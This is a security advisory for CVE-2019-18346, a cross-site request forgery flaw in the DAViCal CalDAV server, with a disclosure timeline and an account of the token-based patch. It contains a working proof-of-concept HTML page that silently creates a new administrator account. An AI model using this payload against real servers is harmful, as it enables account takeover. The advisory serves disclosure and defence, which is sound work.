Rick Verdoes

CVE-2019 – 18346 Cross-Site Request Forgery (CSRF) vulnerability in DAViCal CalDAV Server

At HackDefense, we were evaluating various calendaring solutions, and during installation and configuration of DAViCal we discovered three (severe) vulnerabilities. We reported these vulnerabilities to the vendor. Unfortunately, the DAViCal project itself was not able to fix these vulnerabilities. As DAViCal is an open source project we decided to contribute patches for these vulnerabilities ourselves. DAViCal has accepted our patches in the 1.1.9.2 release. If you use DAViCal as a calendaring server, we recommend upgrading to version 1.1.9.2 immediately to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that come with DAViCal. We have written three separate advisories to describe the vulnerabilities:

  1. CVE-2019-18345 — Reflected Cross-Site Scripting
  2. CVE-2019-18346 – (this advisory) Cross-Site Request Forgery 
  3. CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference

CVE-2019-18346

CVSS score

8.8

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

About DAViCal

DAViCal is a server for calendar sharing. It is an implementation of the CalDAV protocol which is designed for storing calendaring resources on a remote shared server. It can be used by various e‑mail and calendaring clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages that we discovered this vulnerability.

Affected systems

DAViCal CalDAV Server 1.1.8 and prior

Overview

The application has no protection against CSRF attacks. If an authenticated user visits an attacker-controlled webpage (for example, in another browser tab), the attacker can send arbitrary requests in the name of the user to the application, including requests that result in a state change.

For example, if an attacker includes the following HTML code on his/​her site and an authenticated DAViCal administrator visits, a new administrative account hacker” (password also hacker”) will automatically be created in the background, giving the attacker full access to the calendaring application:

<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://davical.host/admin.php?action=edit&t=principal" method="POST" enctype="multipart/form-data"> <input type="hidden" name="xxxxusername" value="hacker" /> <input type="hidden" name="newpass1" value="hacker" /> <input type="hidden" name="newpass2" value="hacker" /> <input type="hidden" name="fullname" value="hacker" /> <input type="hidden" name="email" value="hacker&#64;hacktheplanet&#46;com" /> <input type="hidden" name="locale" value="" /> <input type="hidden" name="date&#95;format&#95;type" value="E" /> <input type="hidden" name="type&#95;id" value="1" /> <input type="hidden" name="is&#95;admin" value="off" /> <input type="hidden" name="is&#95;admin" value="on" /> <input type="hidden" name="user&#95;active" value="off" /> <input type="hidden" name="user&#95;active" value="on" /> <input type="hidden" name="default&#95;privileges&#91;fake&#95;privilege&#95;for&#95;input&#93;" value="0" /> <input type="hidden" name="default&#95;privileges&#91;read&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;write&#45;properties&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;write&#45;content&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;unlock&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;read&#45;acl&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;read&#45;current&#45;user&#45;privilege&#45;set&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;bind&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;unbind&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;write&#45;acl&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;read&#45;free&#45;busy&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;deliver&#45;invite&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;deliver&#45;reply&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;query&#45;freebusy&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;send&#45;invite&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;send&#45;reply&#93;" value="on" /> <input type="hidden" name="default&#95;privileges&#91;schedule&#45;send&#45;freebusy&#93;" value="on" /> <input type="hidden" name="&#95;editor&#95;action&#91;editor&#95;1&#93;" value="insert" /> <input type="hidden" name="submit" value="Create" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Impact

In a successful CSRF attack, the attacker can change the e‑mail address and password on a victim’s account, which results in a full account takeover. If the compromised user has a privileged (administrator) role within the application, then the attacker is also able to add a new administrator user. 

Solution

Update to version 1.1.9.2

Technical solution details

The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The idea is that you assign a unique token to a user’s session, this token can be regenerated whenever but this usually happens when a new session is created (e.g.when the user logs out and logs back in). This token is then required to be sent along with the rest of the data you want to submit. Prior to performing the action the called route is supposed to perform(let’s say you want to update your user information) the application will check if a CSRF token is present and whether it’s the right one. Once those two checks pass the application will continue executing.

So the first task was to write a library that would generate a CSRF token and attach it to the session. That’s all pretty basic, the only thing I had to take into account is that the current requirement for DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in mind. The token is generated by a random number generator (which one is decided by the current PHP version) and then assigned to the user. Once that was done the only thing left is to make sure every information altering request verifies the CSRF token.

The modern way most web frameworks will handle this is by using middleware. Let’s say you map a route to a function in your code,you can then put a CSRF middleware in the middle of that mapping’. So let’s say you’ve got the following mapping:

/​user/​information/​update’> updateUserInformation();

You’d then tell your framework to use a CSRF middleware which would change the flow to:

/​user/​information/​update’> checkCSRF(); > updateUserInformation();

DAViCal however is quite an old project (the copyright states 2006 as starting year) and we don’t have the luxury of a framework handling these things for us. The easiest solution is to find every place a POSTrequest is made and manually verifying the token at those places. But I was keen to find out if there was a more central place I could put the CSRF verifying function. As every developer will know, getting to know and understand someone else’s code can be quite a tough one. I found myself using xdebugquite a lot to figure out the flow of the application until something quite obvious became apparent. There is a PHP file in the project called always.php’ which always runs. This file can be used to launch a function on every page load. This is where I added a function to check the CSRF token on POST requests (which are used in DAViCal to alter information).

The final act was adding the CSRF tokens to all the forms in DAViCal which could be easily found by searching for </form>. Which concluded the fix for the CSRF vulnerability in DAViCal.

Responsible Disclosure timeline

4-Jan-2019

Reported to the DAViCal CalDAV Server project (no response)

21-Jan-2019

Reported to the DAViCal CalDAV Server project again

22-Jan-2019

Report acknowledged

28-May-2019

Asked for an update regarding these vulnerabilities

29-May-2019

The DAViCal project responded that they did not have resources to implement a fix for these vulnerabilities

31-May-2019

Partnered up with Niels van Gijzen to contribute a patch

24-Oct-2019

CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were assigned to these vulnerabilities

25-Oct-2019

Released a patch that fixes these vulnerabilities

29-Nov-2019

DAViCal verified the patch

03-Dec-2019

DAViCal released version 1.1.9.1 including our patch

11-Dec-2019

DAViCal released version 1.1.9.2 correcting a small oversight